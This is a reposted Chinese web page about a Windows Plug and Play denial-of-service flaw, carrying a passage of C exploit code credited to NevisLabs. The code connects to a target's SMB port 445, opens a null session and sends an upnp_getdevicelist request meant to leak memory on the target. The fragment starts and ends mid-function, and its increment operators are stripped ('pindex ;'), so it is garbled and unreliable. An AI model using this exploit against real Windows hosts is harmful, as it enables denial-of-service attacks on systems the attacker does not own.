Microsoft Windows即插即用拒绝服务漏洞

memcpy(&payload[41], &FID, 2);
}

printf("[*] %s: ", type);
fflush(stdout);
ntrans = send(sock, payload, size, 0);
if (ntrans < 0) {
printf("\033[0;31mFailed\033[0;39m\n\n");
exit(-1);
}
}

void get_response(int sock, char *type)
{
int ret;
char response[1496];

ret = recv(sock, response, 1496, 0);
if (strcmp(type, "Null Session request 1") != 0) {
if ((ret < 0 || response[9] != 0)) {
printf("\033[0;31mError in %s
response\033[0;39m\n\n", type);
exit(-1);
}
}

if (strcmp(type, "Null Session request 1") == 0) {
UserID = *(unsigned short *)&response[32];
}
if (strcmp(type, "Tree Connect") == 0) {
TID = *(unsigned short *)&response[28];
}
if (strcmp(type, "NT Creat AndX") == 0) {
FID = *(unsigned short *)&response[42];
}

if (strcmp(type, "UPNPMGR upnp_getdevicelist") == 0)
{
if((unsigned long)response[88] != 0) {
printf("\033[0;31mnca_s_fault_ndr\033[0;39m\n\n");
exit(-1);
}
}
printf("\033[0;32mOK\033[0;39m\n");
}

void banner()
{

printf("\n\n\033[0;31m\t!------------------------------------------!\n\033[0;39m");
printf("\033[0;31m\t Memory leak when sending upnp_getdevicelist
request\n\033[0;39m");
printf("\033[0;31m\t Coded by: \033[0;34m Winny Thomas
:-)\n\033[0;39m");
printf("\033[0;34m\t\t NevisLabs\n\033[0;39m");
printf("\033[0;34m\t\t Nevis Networks, Pune, INDIA\n\033[0;39m");

printf("\033[0;31m\t!------------------------------------------!\n\n\033[0;39m");
}

char *setup_tCon(char *UNC, char *ptr)
{
int pindex = 0, uindex = 0, len;

len = strlen(UNC);
while (uindex < len) {
if ((pindex % 2) != 0) {
ptr[pindex] = '\x00';
pindex ;
continue;
}

ptr[pindex] = UNC[uindex];
uindex ;
pindex ;
}

ptr[pindex] = '\x00';
pindex ;
ptr[pindex] = '\x00';
pindex ;
ptr[pindex] = '\x00';
pindex ;

ptr[pindex] = 'I'; pindex ; ptr[pindex] = 'P'; pindex ;
ptr[pindex] ='C'; pindex ;

ptr[pindex] = '\x00';
pindex ;
ptr[pindex] = '\x00';
pindex ;
}

int main(int argc, char *argv[])
{
struct sockaddr_in target;
struct hostent *host;
char UNC[50], tConXpacket[150], *temp, targetIP[20];
int sockfd;
int ret, templen;

system("clear");
banner();

if (argc < 2) {
printf("Usage: %s <host name|ip address>\n\n", argv[0]);
exit(-1);
}

srand(time(NULL));
ProcessID = rand();

printf("[*] Resolving %s: ", argv[1]);
host = gethostbyname(argv[1]);
if (!host) {
printf("\033[0;31mFailed\033[0;39m\n");
exit(-1);
}
printf("\033[0;32mOK\033[0;39m\n");

target.sin_family = AF_INET;
target.sin_addr = *(struct in_addr *)host->h_addr;
target.sin_port = htons(445);
sprintf(targetIP, "%s", inet_ntoa(target.sin_addr));

sockfd = socket(AF_INET, SOCK_STREAM, 0);
ret = connect(sockfd, (struct sockaddr *)&target, sizeof(target));
if (ret < 0) {
perror("Connect");
exit(-1);
}

send_packet(sockfd, peer0_0, sizeof(peer0_0) -1, "Sending SMB
Negotiate request");
get_response(sockfd, "SMB Negotiate");

send_packet(sockfd, peer0_1, sizeof(peer0_1) -1, "Sending Null

文章整理：西部数码--专业提供域名注册、虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息，谢谢!